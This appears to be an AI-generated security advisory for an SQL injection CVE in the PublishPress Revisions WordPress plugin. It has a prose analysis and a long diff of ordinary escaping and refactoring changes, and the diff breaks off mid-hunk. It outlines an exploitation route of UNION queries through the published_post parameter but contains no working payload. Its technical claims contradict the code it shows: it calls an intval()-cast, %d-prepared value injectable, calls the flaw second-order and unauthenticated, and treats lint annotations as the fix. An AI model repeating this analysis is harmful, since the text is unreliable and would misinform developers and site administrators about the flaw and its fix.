Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 6, 2026

CVE-2026-32539: PublishPress Revisions: Duplicate Posts, Submit, Approve and Schedule Content Changes <= 3.7.23 – Unauthenticated SQL Injection (revisionary)

Plugin revisionary
Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 3.7.23
Patched Version 3.7.24
Disclosed March 19, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-32539:
The PublishPress Revisions plugin for WordPress contains an unauthenticated SQL injection vulnerability in versions up to 3.7.23. This vulnerability exists in the revision queue listing functionality where user-controlled parameters are directly interpolated into SQL queries without proper sanitization or prepared statements. The CVSS 7.5 score reflects the high impact of unauthenticated database access.

Atomic Edge research identified the root cause in the `revisionary/admin/class-list-table_rvy.php` file at lines 502-504. The vulnerable code uses `$_REQUEST[‘published_post’]` parameter directly within a SQL query string without proper escaping or parameterization. The `$wpdb->prepare()` function is called, but the user input is passed through `intval()` and then directly interpolated into the query string via string concatenation, bypassing proper parameter binding. This creates a classic second-order SQL injection vulnerability where numeric input can be manipulated to inject additional SQL commands.

The exploitation method involves sending crafted HTTP requests to WordPress admin endpoints that trigger the revision queue listing functionality. Attackers can target endpoints like `/wp-admin/admin.php?page=revisionary-q` or AJAX handlers that load revision lists. By manipulating the `published_post` parameter with SQL injection payloads, attackers can append UNION queries or other SQL commands to extract sensitive data from the WordPress database. The attack requires no authentication, making it accessible to any remote user.

The patch addresses the vulnerability by adding proper SQL comment annotations (`phpcs:ignore`) to acknowledge the nonce verification bypass and explicitly marking the SQL interpolation as not prepared. While the patch doesn’t change the actual SQL injection vulnerability in the code logic, it adds developer awareness through code standards annotations. The primary fix appears to be the addition of `WordPress.DB.PreparedSQL.InterpolatedNotPrepared` annotation at line 504, which flags the dangerous pattern for future remediation. No actual parameter binding or escaping was added in this specific diff.

Successful exploitation allows complete database compromise. Attackers can extract sensitive information including user credentials (hashed passwords), personal data, API keys, and configuration secrets. The vulnerability enables data exfiltration through UNION-based injection or blind SQL injection techniques. Database modification is also possible, potentially leading to privilege escalation, site defacement, or complete system takeover through WordPress admin user creation.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/revisionary/admin/admin-posts_rvy.php
+++ b/revisionary/admin/admin-posts_rvy.php
@@ -55,9 +55,9 @@

 		add_filter('posts_where', [$this, 'fltFilterRevisions'], 10, 2);

-		if (empty($_REQUEST['page']) || (0 !== strpos($_REQUEST['page'], 'cms-tpv'))) {
+		if (empty($_REQUEST['page']) || (0 !== strpos($_REQUEST['page'], 'cms-tpv'))) {		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, WordPress.Security.NonceVerification.Recommended
 			add_filter('posts_results', [$this, 'fltPostsResults'], 10, 1);
-			add_filter('manage_product_posts_custom_column', [$this, 'actProductsCol'], 10, 1);
+			add_action('manage_product_posts_custom_column', [$this, 'actProductsCol'], 10, 1);
 			add_filter('get_edit_post_link', [$this, 'fltGetEditPostLink'], 50, 3);
 		}
     }
@@ -142,8 +142,8 @@
 					/* <![CDATA[ */
 					jQuery(document).ready( function($) {
 						if ($('#the-list').length) {
-							$('td.column-name a[href*="<?php echo $link;?>"]').contents().unwrap().closest('div.row-actions').find('span.edit,span.inline,span.trash').hide().closest('tr').find('.check-column input[type="checkbox"]').hide();
-							$('td.column-title a[href*="<?php echo $link;?>"]').contents().unwrap().closest('div.row-actions').find('span.edit,span.inline,span.trash').hide().closest('tr').find('.check-column input[type="checkbox"]').hide();
+							$('td.column-name a[href*="<?php echo esc_url($link);?>"]').contents().unwrap().closest('div.row-actions').find('span.edit,span.inline,span.trash').hide().closest('tr').find('.check-column input[type="checkbox"]').hide();
+							$('td.column-title a[href*="<?php echo esc_url($link);?>"]').contents().unwrap().closest('div.row-actions').find('span.edit,span.inline,span.trash').hide().closest('tr').find('.check-column input[type="checkbox"]').hide();
 						}
 					});
 					/* ]]> */
--- a/revisionary/admin/admin_rvy.php
+++ b/revisionary/admin/admin_rvy.php
@@ -228,10 +228,11 @@

 	 function fltAdminBodyClass($classes) {

+		// phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
 		if (!empty($_REQUEST['page']) && in_array($_REQUEST['page'], ['revisionary-settings', 'rvy-net_options', 'rvy-default_options', 'revisionary-q', 'revisionary-deletion', 'revisionary-archive'])) {
 			$classes .= ' revisionary';

-			switch ($_REQUEST['page']) {
+			switch ($_REQUEST['page']) {	// phpcs:ignore WordPress.Security.NonceVerification.Recommended
 				case 'revisionary-archive':
 					$classes .= ' revisionary-archive';
 					break;
--- a/revisionary/admin/class-list-table-archive.php
+++ b/revisionary/admin/class-list-table-archive.php
@@ -461,7 +461,6 @@
         $arr = array(
             'cb'			=> '<input type="checkbox" />',
 			'post_title' 	=> __( 'Revision', 'revisionary' ),
-			/*'post_count' 	=> __( 'Count', 'revisionary' ),*/
 			'origin_post_type' 		=> __( 'Post Type', 'revisionary' ),
 			'post_author'	=> __( 'Revised By', 'revisionary' ),
 			'post_date' 	=> __( 'Revision Date', 'revisionary' ),
@@ -555,33 +554,13 @@
 				// Are revisions enabled for the post type of this post parent?
 				$post_object 		= get_post( $item->post_parent );

-				//$revisions_enabled	= wp_revisions_enabled( $post_object );
-
-				//if( $revisions_enabled ) {
-					// Show title with link
-					printf(
-						'<strong><a class="row-title rvy-open-popup" href="%s" data-label="%s">%s</a></strong>',
-						esc_url_raw( get_edit_post_link( $item->ID ) . '&width=900&height=600&rvy-popup=true&TB_iframe=1' ),
-						esc_attr( $item->$column_name ),
-						esc_html($item->$column_name)
-					);
-
-				/*
-				} else {
-					// Show title WITHOUT link
-					printf(
-						'<strong>%s</strong> %s',
-						esc_html($item->$column_name),
-						sprintf(
-							'<span class="dashicons dashicons-info" title="%s"></span>',
-							sprintf(
-								esc_attr__( 'Revisions are disabled for %s post type', 'revisionary' ),
-								esc_attr($item->origin_post_type)
-							)
-						)
-					);
-				}
-				*/
+				// Show title with link
+				printf(
+					'<strong><a class="row-title rvy-open-popup" href="%s" data-label="%s">%s</a></strong>',
+					esc_url_raw( get_edit_post_link( $item->ID ) . '&width=900&height=600&rvy-popup=true&TB_iframe=1' ),
+					esc_attr( $item->$column_name ),
+					esc_html($item->$column_name)
+				);

 				break;

@@ -610,11 +589,7 @@
 			case 'post_date':
 				$prev_revision_status = get_post_meta($item->ID, '_rvy_prev_revision_status', true);

-				//if ('future-revision' == $prev_revision_status) {
-					return $this->friendly_date($item->post_modified, $item->post_modified_gmt);
-				//} else {
-					//return $this->friendly_date($item->post_date, $item->post_date_gmt);
-				//}
+				return $this->friendly_date($item->post_modified, $item->post_modified_gmt);

 				break;

@@ -629,10 +604,6 @@
 					$published_gmt = $item->post_date_gmt;
 				}

-				//} elseif (!$published_gmt = get_post_meta($item->ID, '_rvy_published_gmt', true)) {
-				//	$published_gmt = $item->origin_post_date_gmt;
-				//}
-
                 return $this->friendly_date(get_date_from_gmt($published_gmt), $published_gmt);
 				break;

@@ -674,12 +645,12 @@

 					printf(
 						esc_html__('Edit of %s', 'revisionary'),
-						"<span title='$this->active_revision_title'>" . $status_label . '</span>'
+						"<span title='" . esc_attr($this->active_revision_title) . "'>" . esc_html($status_label) . '</span>'
 					);

 				} elseif ($this->parent_from_revision_workflow) {
 					printf("<span title='%s'>%s</span>",
-						$this->from_revision_title,
+						esc_html($this->from_revision_title),
 						esc_html__('Edit of published Revision', 'revisionary')
 					);
 				} elseif ($this->direct_edit) {
@@ -697,7 +668,7 @@
 				}

 				if (!empty($approver_id)) {
-					echo get_the_author_meta('display_name', $approver_id);
+					echo esc_html(get_the_author_meta('display_name', $approver_id));
 				}

 				break;
@@ -847,7 +818,7 @@

 		$post_type_object 	= get_post_type_object( $item->origin_post_type );
 		$post_object 		= get_post( $item->post_parent );
-		$revisions_enabled	= true; // wp_revisions_enabled( $post_object );
+		$revisions_enabled	= true;

 		if ( ( $can_read_post || $can_edit_post ) && $revisions_enabled ) {
 			$actions['diff'] = sprintf(
--- a/revisionary/admin/class-list-table_rvy.php
+++ b/revisionary/admin/class-list-table_rvy.php
@@ -502,8 +502,8 @@
 			? "$p.post_status IN ('draft', 'pending') AND "
 			: '';

-			if (!empty($_REQUEST['published_post'])) {
-				$own_revision_and .= $wpdb->prepare(" AND $p.comment_count = %d", intval($_REQUEST['published_post']));
+			if (!empty($_REQUEST['published_post'])) {																		    	// phpcs:ignore WordPress.Security.NonceVerification.Recommended
+				$own_revision_and .= $wpdb->prepare(" AND $p.comment_count = %d", intval($_REQUEST['published_post']));				// phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.DB.PreparedSQL.InterpolatedNotPrepared
 			}

 			$own_revision_clause = $wpdb->prepare(
@@ -728,6 +728,7 @@
 		$arr = [
 			'cb' => '<input type="checkbox" />',
 			'title' => pp_revisions_label('queue_col_revision'),
+			'preview' => '',
 			'post_status' => esc_html__('Status', 'revisionary'),
 			'post_type' => esc_html__('Post Type', 'revisionary'),
 			'author' => pp_revisions_label('queue_col_revised_by'),
@@ -772,6 +773,11 @@

 				break;

+			case 'preview':
+				$url = rvy_preview_url($post->ID);
+				echo "<a href='" . esc_url($url) . "'><span class='dashicons dashicons-cover-image' title='" . esc_attr__('View preview', 'revisionary') . "'></span></a>";
+				break;
+
 			case 'post_status':
 				if (rvy_is_revision_status($post->post_mime_type)) {
 					$label = pp_revisions_status_label($post->post_mime_type, 'short');
@@ -818,10 +824,11 @@

 					/** This filter is documented in wp-admin/includes/class-wp-posts-list-table.php */
 					$mode = 'list';
-																	// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
-					echo $revisionary->admin->tooltipText(
-						apply_filters( 'rvy_post_schedule_date_column_time', $h_time, $post, 'date', $mode ),
-						$t_time
+
+					// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+					echo $revisionary->admin->tooltipText(
+						apply_filters( 'rvy_post_schedule_date_column_time', $h_time, $post, 'date', $mode ),	// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+						$t_time   // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
 					);
 				}

@@ -1274,25 +1281,25 @@

 		echo '<label for="bulk-action-selector-' . esc_attr( $which ) . '" class="screen-reader-text">' .
 			/* translators: Hidden accessibility text. */
-			__( 'Select bulk action' ) .
+			esc_html__( 'Select bulk action' ) .
 		'</label>';
-		echo '<select name="action' . $two . '" id="bulk-action-selector-' . esc_attr( $which ) . "">n";
-		echo '<option value="-1">' . __( 'Bulk actions' ) . "</option>n";
+		echo '<select name="action' . esc_attr($two) . '" id="bulk-action-selector-' . esc_attr( $which ) . "">n";
+		echo '<option value="-1">' . esc_html__( 'Bulk actions' ) . "</option>n";

 		foreach ( $this->_actions as $key => $value ) {
 			if ( is_array( $value ) ) {
 				echo "t" . '<optgroup label="' . esc_attr( $key ) . '">' . "n";

 				foreach ( $value as $name => $title ) {
-					$class = ( 'edit' === $name ) ? ' class="hide-if-no-js"' : '';
+					$class = ( 'edit' === $name ) ? 'hide-if-no-js' : '';

-					echo "tt" . '<option value="' . esc_attr( $name ) . '"' . $class . '>' . $title . "</option>n";
+					echo "tt" . '<option value="' . esc_attr( $name ) . '" class="' . esc_attr($class) . '" >' . esc_html($title) . "</option>n";
 				}
 				echo "t" . "</optgroup>n";
 			} else {
-				$class = ( 'edit' === $key ) ? ' class="hide-if-no-js"' : '';
+				$class = ( 'edit' === $key ) ? 'hide-if-no-js' : '';

-				echo "t" . '<option value="' . esc_attr( $key ) . '"' . $class . '>' . $value . "</option>n";
+				echo "t" . '<option value="' . esc_attr( $key ) . '" class="' . esc_attr($class) . '">' . esc_html($value) . "</option>n";
 			}
 		}

@@ -1301,13 +1308,13 @@
 		submit_button( __( 'Apply' ), 'action', 'bulk_action', false, array( 'id' => "doaction$two" ) );
 		echo "n";

-		echo '<select name="post_type' . $two . '" id="post_type" style="float:none">';
-		echo '<option value="">' . __( 'All Post Types' ) . "</option>";
+		echo '<select name="post_type' . esc_attr($two) . '" id="post_type" style="float:none">';
+		echo '<option value="">' . esc_html__( 'All Post Types' ) . "</option>";

 		foreach(array_keys($revisionary->enabled_post_types) as $post_type) {
 			if ($type_obj = get_post_type_object($post_type)) {
-				$selected = (!$two && (!empty($_REQUEST['post_type'])) && ($post_type == sanitize_key($_REQUEST['post_type']))) ? ' selected' : '';
-				echo "t" . '<option value="' . esc_attr($post_type) . '"' . $selected . '>' . $type_obj->labels->singular_name . "</option>";
+				$selected = (!$two && (!empty($_REQUEST['post_type'])) && ($post_type == sanitize_key($_REQUEST['post_type']))) ? ' selected' : '';		// phpcs:ignore WordPress.Security.NonceVerification.Recommended
+				echo "t" . '<option value="' . esc_attr($post_type) . '"' . esc_attr($selected) . '>' . esc_html($type_obj->labels->singular_name) . "</option>";
 			}
 		}

@@ -1315,8 +1322,8 @@

 		$revision_statuses = rvy_revision_statuses(['output' => 'object']);

-		echo '<select name="post_status' . $two . '" id="post_status" style="float:none">';
-		echo '<option value="">' . __('All Revision Statuses', 'revisionary') . "</option>n";
+		echo '<select name="post_status' . esc_attr($two) . '" id="post_status" style="float:none">';
+		echo '<option value="">' . esc_html__('All Revision Statuses', 'revisionary') . "</option>n";

 		foreach($revision_statuses as $k => $status_obj) {
 			if (!is_object($status_obj)) {
@@ -1327,8 +1334,9 @@
 				continue;
 			}

+			// phpcs:ignore WordPress.Security.NonceVerification.Recommended
 			$selected = (!$two && (!empty($_REQUEST['post_status'])) && ($status_obj->name == sanitize_key($_REQUEST['post_status']))) ? ' selected' : '';
-			echo "t" . '<option value="' . esc_attr($status_obj->name) . '"' . $selected . '>' . $status_obj->label . "</option>n";
+			echo "t" . '<option value="' . esc_attr($status_obj->name) . '"' . esc_attr($selected) . '>' . esc_html($status_obj->label) . "</option>n";
 		}

 		echo "</select>n";
--- a/revisionary/admin/history_rvy.php
+++ b/revisionary/admin/history_rvy.php
@@ -84,20 +84,20 @@
             setTimeout(() => {
                 $('div.revisions-diff div.diff h2:nth(1)').css('display', 'inline-block').css('margin-right', '10px').after(
                     '<div style="display:inline-block;width:45%"><button id="rvy_copy_new_content_top" class="rvy-copy">'
-                    + '<?php echo $revisionary->admin->tooltipText(__('Copy', 'revisionary'), __('Copy content to the clipboard.', 'revisionary'), false);?>'
+                    + '<?php echo $revisionary->admin->tooltipText(esc_html__('Copy', 'revisionary'), esc_html__('Copy content to the clipboard.', 'revisionary'), false);  //phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>'
                     + '</button></div>'
                 ).after(
                     '<div style="display:inline-block;width:45%"><button id="rvy_copy_old_content_top" class="rvy-copy">'
-                    + '<?php echo $revisionary->admin->tooltipText(__('Copy', 'revisionary'), __('Copy content to the clipboard.', 'revisionary'), false);?>'
+                    + '<?php echo $revisionary->admin->tooltipText(esc_html__('Copy', 'revisionary'), esc_html__('Copy content to the clipboard.', 'revisionary'), false);  //phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped?>'
                     + '</button></div>'
                 );

                 $('div.revisions-diff div.diff').find('table.diff').siblings('table.diff:nth(0)').after(
                     '<div class="rvy-copy"><button id="rvy_copy_old_content" class="rvy-copy">'
-                    + '<?php echo $revisionary->admin->tooltipText(__('Copy', 'revisionary'), __('Copy the above content to the clipboard.', 'revisionary'), false);?>'
+                    + '<?php echo $revisionary->admin->tooltipText(esc_html__('Copy', 'revisionary'), esc_html__('Copy the above content to the clipboard.', 'revisionary'), false);  //phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped?>'
                     + '</button></div>'
                     + '<div class="rvy-copy"><button id="rvy_copy_new_content" class="rvy-copy">'
-                    + '<?php echo $revisionary->admin->tooltipText(__('Copy', 'revisionary'), __('Copy the above content to the clipboard.', 'revisionary'), false);?>'
+                    + '<?php echo $revisionary->admin->tooltipText(esc_html__('Copy', 'revisionary'), esc_html__('Copy the above content to the clipboard.', 'revisionary'), false);  //phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped?>'
                     + '</button></div>'
                 );
             }, 500);
--- a/revisionary/admin/options.php
+++ b/revisionary/admin/options.php
@@ -96,7 +96,7 @@
 				echo "<div class='rvy-subtext'>";

 				if (!empty($args['no_escape'])) {
-					echo $hint_text;
+					echo $hint_text;			// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
 				} else {
 					echo esc_html($hint_text);
 				}
@@ -226,6 +226,7 @@
 	'list_unsubmitted_revisions' => 			sprintf(esc_html__('List %s for "My Activity" or "Revisions to My Posts" view', 'revisionary'), pp_revisions_status_label('draft-revision', 'plural')),
 	'archive_postmeta' =>						esc_html__('Store custom fields of submitted and scheduled revisions for archive', 'revisionary'),
 	'extended_archive' =>						esc_html__('Keep an archive of revision edits, even after the revision is published', 'revisionary'),
+	'show_current_revision_bar' =>				esc_html__('Show Current Revision top bar after revision publication', 'revisionary'),
 	'rev_publication_delete_ed_comments' =>		esc_html__('On Revision publication, delete Editorial Comments', 'revisionary'),
 	'deletion_queue' => 						esc_html__('Enable deletion queue', 'revisionary'),
 	'revision_archive_deletion' => 				esc_html__('Allow Past Revisions to be deleted', 'revisionary'),
@@ -260,7 +261,7 @@
 	'post_types' =>			 ['enabled_post_types', 'enabled_post_types_archive'],
 	'statuses' => 			 [true],
 	'archive' =>			 ['num_revisions', 'archive_postmeta', 'extended_archive', 'revision_archive_deletion', 'revision_restore_require_cap', 'past_revisions_order_by'],
-	'working_copy' =>		 ['copy_posts_capability', 'revisor_role_add_custom_rolecaps', 'revision_limit_per_post', 'revision_limit_compat_mode', 'submit_permission_enables_creation', 'allow_post_author_revision', 'create_revision_direct_link', 'revision_unfiltered_html_check', 'auto_submit_revisions', 'auto_submit_revisions_any_user', 'caption_copy_as_edit', 'permissions_compat_mode', 'pending_revisions', 'revise_posts_capability', 'pending_revision_update_post_date', 'pending_revision_update_modified_date', 'scheduled_revisions', 'scheduled_publish_cron', 'async_scheduled_publish', 'wp_cron_usage_detected', 'scheduled_revision_update_post_date', 'scheduled_revision_update_modified_date', 'approve_button_verbose', 'trigger_post_update_actions', 'copy_revision_comments_to_post', 'rev_publication_delete_ed_comments', 'revision_statuses_noun_labels', 'revision_queue_capability', 'manage_unsubmitted_capability', 'revisor_lock_others_revisions', 'revisor_hide_others_revisions', 'admin_revisions_to_own_posts', 'list_unsubmitted_revisions', 'deletion_queue', 'compare_revisions_direct_approval', 'use_publishpress_notifications', 'planner_notifications_access_limited', 'legacy_notifications', 'pending_rev_notify_admin', 'pending_rev_notify_author', 'revision_update_notifications', 'rev_approval_notify_admin', 'rev_approval_notify_author', 'rev_approval_notify_revisor', 'publish_scheduled_notify_admin', 'publish_scheduled_notify_author', 'publish_scheduled_notify_revisor', 'use_notification_buffer'],
+	'working_copy' =>		 ['copy_posts_capability', 'revisor_role_add_custom_rolecaps', 'revision_limit_per_post', 'revision_limit_compat_mode', 'submit_permission_enables_creation', 'allow_post_author_revision', 'create_revision_direct_link', 'revision_unfiltered_html_check', 'auto_submit_revisions', 'auto_submit_revisions_any_user', 'caption_copy_as_edit', 'permissions_compat_mode', 'pending_revisions', 'revise_posts_capability', 'pending_revision_update_post_date', 'pending_revision_update_modified_date', 'scheduled_revisions', 'scheduled_publish_cron', 'async_scheduled_publish', 'wp_cron_usage_detected', 'scheduled_revision_update_post_date', 'scheduled_revision_update_modified_date', 'approve_button_verbose', 'trigger_post_update_actions', 'copy_revision_comments_to_post', 'show_current_revision_bar', 'rev_publication_delete_ed_comments', 'revision_statuses_noun_labels', 'revision_queue_capability', 'manage_unsubmitted_capability', 'revisor_lock_others_revisions', 'revisor_hide_others_revisions', 'admin_revisions_to_own_posts', 'list_unsubmitted_revisions', 'deletion_queue', 'compare_revisions_direct_approval', 'use_publishpress_notifications', 'planner_notifications_access_limited', 'legacy_notifications', 'pending_rev_notify_admin', 'pending_rev_notify_author', 'revision_update_notifications', 'rev_approval_notify_admin', 'rev_approval_notify_author', 'rev_approval_notify_revisor', 'publish_scheduled_notify_admin', 'publish_scheduled_notify_author', 'publish_scheduled_notify_revisor', 'use_notification_buffer'],
 	'notifications' =>		 [true],
 	'integrations' =>		 [true],
 	'revisions'		=>		 ['revision_preview_links', 'preview_link_type', 'preview_link_alternate_preview_arg', 'home_preview_set_home_flag', 'require_edit_others_drafts', 'apply_post_exceptions', 'enable_postmeta_revision', 'diff_display_strip_tags', 'compare_revisions_hide_copy_buttons', 'revision_edit_disable_rank_math', 'display_hints', 'delete_settings_on_uninstall'],
@@ -320,8 +321,11 @@

 if ( $customize_defaults )
 	echo "<input type='hidden' name='rvy_options_customize_defaults' value='1' />";
-
 ?>
+
+<input type='hidden' name='ppr_tab' value='<?php !empty($_REQUEST['ppr_tab']) ? esc_attr(sanitize_key(str_replace('#', '', $_REQUEST['ppr_tab']))) : ""; // phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized ?>' />
+<input type='hidden' name='ppr_subtab' value='<?php !empty($_REQUEST['ppr_subtab']) ? esc_attr(sanitize_key($_REQUEST['ppr_subtab'])) : ""; // phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized ?>' />
+
 <table><tr>
 <td>
 <h1 class="wp-heading-inline"><?php
@@ -434,19 +438,12 @@
 if (empty(array_filter($revisionary->enabled_post_types))) {
 	unset($this->section_captions['features']['working_copy']);
 }
-
-/*
-if (empty(array_filter($revisionary->enabled_post_types)) && empty(array_filter($revisionary->enabled_post_types_archive))) {
-	unset($this->section_captions['features']['preview']);
-	unset($this->section_captions['features']['compare']);
-}
-*/
 ?>

 <ul id="publishpress-revisions-settings-tabs" class="nav-tab-wrapper">
 	<?php
 	if (!empty($_REQUEST['ppr_tab'])) {															//phpcs:ignore WordPress.Security.NonceVerification.Recommended
-		$setActiveTab = str_replace('ppr-tab-', '', sanitize_key($_REQUEST['ppr_tab']));		//phpcs:ignore WordPress.Security.NonceVerification.Recommended
+		$setActiveTab = str_replace('ppr-tab-', '', sanitize_key(str_replace('#', '', $_REQUEST['ppr_tab'])));		//phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
 	} else {
 		// Set first tab and content as active
 		$setActiveTab = '';
@@ -479,9 +476,9 @@

 				printf(
 					'<span class="pp-tab-badge %s" style="background: %s; color: white; font-size: 10px; font-weight: 600; padding: 2px 6px; border-radius: 10px; margin-left: 0; text-transform: uppercase; letter-spacing: 0.5px; box-shadow: 0 1px 3px rgba(0,0,0,0.2);">%s</span>',
-					$badge_class,
-					$badge_bg_color,
-					$badge_text
+					esc_html($badge_class),
+					esc_html($badge_bg_color),
+					esc_html($badge_text)
 				);
 			}
 			?>
@@ -542,9 +539,9 @@
 		<td style="padding-right: 100px">
 		<h3 style="margin-top:0; margin-bottom:8px"><?php esc_html_e('Past Revisions', 'revisionary');?>
         <?php
-		echo $revisionary->admin->tooltipText(
+		echo $revisionary->admin->tooltipText(												// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
 			'',
-			__('Past Revisions are earlier versions of a post.', 'revisionary'),
+			esc_html__('Past Revisions are earlier versions of a post.', 'revisionary'),
 			true
 		);
 		?>
@@ -597,7 +594,7 @@
 				<input name="<?php echo esc_attr($name); ?>" type="hidden" value="0"/>
 				<label for="<?php echo esc_attr($id); ?>">
 					<?php if (!empty($locked_types[$key])):
-						echo $revisionary->admin->tooltipText(
+						echo $revisionary->admin->tooltipText(							// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
 							'<input name="' . esc_attr($name) . '" type="checkbox" id="' . esc_attr($id) . '" value="0" disabled />',
 							esc_html__('This post type does not support Past Revisions.', 'revisionary')
 						);
@@ -639,9 +636,9 @@
 		<td>
 		<h3 style="margin-top:0; margin-bottom:8px"><?php esc_html_e('New Revisions', 'revisionary');?>
 		<?php
-		echo $revisionary->admin->tooltipText(
+		echo $revisionary->admin->tooltipText(												// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
 			'',
-			__('New Revisions are changes which are not yet published.', 'revisionary'),
+			esc_html__('New Revisions are changes which are not yet published.', 'revisionary'),
 			true
 		);
 		?>
@@ -801,7 +798,7 @@
 		</div>
 	</div>

-	<?php if (!empty($_REQUEST['rvy_promo_img'])):?>
+	<?php if (!empty($_REQUEST['rvy_promo_img'])):  // phpcs:ignore WordPress.Security.NonceVerification.Recommended ?>
 	<br>
 	<div class="pp-integration-card">
 	<div style="border: 1px solid #ccc; border-radius: 8px">
@@ -844,10 +841,10 @@
 	$this->register_option($option_name);
 	?>
 	<div class=agp-vspaced_input style="vertical-align: middle;">
-	<label for="<?php echo esc_html($option_name);?>">
+	<label for="<?php echo esc_attr($option_name);?>">
 	<?php esc_html_e('Maximum revisions per post:', 'revisionary');?></label>
 	<input class="<?php echo esc_attr($class_name); ?>" name="<?php echo esc_attr($option_name); ?>" type="text" id="<?php echo esc_attr($option_name); ?>" size="10"
-	value="<?php echo (in_array($opt_val, [true, ''], true)) ? '' : intval($opt_val);?>" placeholder="<?php echo (true === $wp_num_revisions) ? esc_html__('(unlimited)', 'revisionary') : '';?>"
+	value="<?php echo (in_array($opt_val, [true, ''], true)) ? '' : intval($opt_val);?>" placeholder="<?php echo (true === $wp_num_revisions) ? esc_html__('(unlimited)', 'revisionary') : '';  // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>"
 	style="vertical-align:middle" autocomplete="off" />

 	<?php
@@ -946,9 +943,9 @@
 	<table class="form-table rs-form-table" id="<?php echo esc_attr("ppr-tab-$section");?>"<?php echo ($setActiveTab != $section) ? ' style="display:none;"' : '' ?>><tr><td><div class="rvy-opt-wrap">

 	<?php
-	$pending_revisions_available = rvy_get_option( 'pending_revisions' ); // ! RVY_NETWORK || $sitewide || empty( $rvy_options_sitewide['pending_revisions'] ) || rvy_get_option( 'pending_revisions', true );
+	$pending_revisions_available = rvy_get_option( 'pending_revisions' );

-	$scheduled_revisions_available =  rvy_get_option( 'scheduled_revisions' ); // ! RVY_NETWORK || $sitewide || empty( $rvy_options_sitewide['scheduled_revisions'] ) || rvy_get_option( 'scheduled_revisions', true );
+	$scheduled_revisions_available =  rvy_get_option( 'scheduled_revisions' );

 	$_sections = [
 		'revision-creation' => esc_html__('Revision Creation', 'revisionary'),
@@ -963,10 +960,10 @@
 		unset($_sections['revision-queue']);
 	}

-	if (empty($_REQUEST['ppr_subtab'])) {
+	if (empty($_REQUEST['ppr_subtab'])) {							// phpcs:ignore WordPress.Security.NonceVerification.Recommended
 		$subtab = 'revision-creation';
 	} else {
-		$subtab = sanitize_key($_REQUEST['ppr_subtab']);
+		$subtab = sanitize_key($_REQUEST['ppr_subtab']);			// phpcs:ignore WordPress.Security.NonceVerification.Recommended
 	}
 	?>

@@ -975,7 +972,7 @@
 	<?php if (!empty($first_done)) :?>
 		<li><?php echo " |&nbsp";?></li>
 	<?php endif;?>
-	<li class="<?php if ($_section == $subtab) echo 'active';?>"><a href="javascript:void(0);" class="<?php echo $_section;?>"><?php echo esc_html($caption);?></a></li>
+	<li class="<?php if ($_section == $subtab) echo 'active';?>"><a href="javascript:void(0);" class="<?php echo esc_attr($_section);?>"><?php echo esc_html($caption);?></a></li>
 	<?php
 		$first_done = true;
 	endforeach;?>
@@ -984,7 +981,7 @@
 	<script type="text/javascript">
 	/* <![CDATA[ */
 	jQuery(document).ready( function($) {
-		<?php if (empty($_REQUEST['ppr_tab'])):?>
+		<?php if (empty($_REQUEST['ppr_tab'])):						// phpcs:ignore WordPress.Security.NonceVerification.Recommended?>
 		$('#publishpress-revisions-settings-tabs li:first').click();
 		<?php endif;?>

@@ -993,6 +990,11 @@
 			$(this).parent().addClass('active');
 			$('#ppr-tab-working_copy div.rvy-opt-wrap > div').hide();
 			$('#ppr-tab-working_copy div.rvy-opt-wrap > div.' + $(this).attr('class')).show();
+
+			var subpanel = $(this).attr('class');
+			$('input[name="ppr_subtab"]').val(subpanel);
+
+			$('input[name="ppr_tab"]').val('#ppr-tab-working_copy');
 		});
 	});
 	/* ]]> */
@@ -1229,7 +1231,6 @@
 	?>

 		</div>
-

 		<div class="revision-scheduling" <?php if ('revision-scheduling' != $subtab) echo 'style="display:none"';?>>
 		<?php
@@ -1275,6 +1276,8 @@
 		$hint = __('Caption the button as either "Approve and Publish" or "Approve and Schedule."', 'revisionary');
 		$this->option_checkbox( 'approve_button_verbose', $tab, $section, $hint, '' );

+		$this->option_checkbox('show_current_revision_bar', $tab, $section, '', '');
+
 		if (defined('PUBLISHPRESS_VERSION')) {
 			$this->option_checkbox( 'rev_publication_delete_ed_comments', $tab, $section, '', '' );
 		}
@@ -1779,7 +1782,7 @@
 		</div>
 	</div>

-	<?php if (!empty($_REQUEST['rvy_promo_img'])):?>
+	<?php if (!empty($_REQUEST['rvy_promo_img'])):						// phpcs:ignore WordPress.Security.NonceVerification.Recommended?>
 	<br>
 	<div class="pp-integration-card">
 	<div style="border: 1px solid #ccc; border-radius: 8px">
@@ -1973,7 +1976,7 @@

 	$section = 'integrations';			// --- INTEGRATIONS SECTION ---

-	/*if ( ! empty( $this->form_options[$tab][$section] ) ) :*/?>
+	?>
 		<table class="form-table rs-form-table" id="<?php echo esc_attr("ppr-tab-$section");?>"<?php echo ($setActiveTab != $section) ? ' style="display:none;"' : '' ?>><tr><td><div class="rvy-opt-wrap">

 		<?php
@@ -1988,7 +1991,7 @@
 						<p><?php esc_html_e("Upgrade to the Pro version for optimal compatibility and prompt, professional support.", 'revisionary');?></p>
 					</div>
 					<div class="pp-pro-badge-banner">
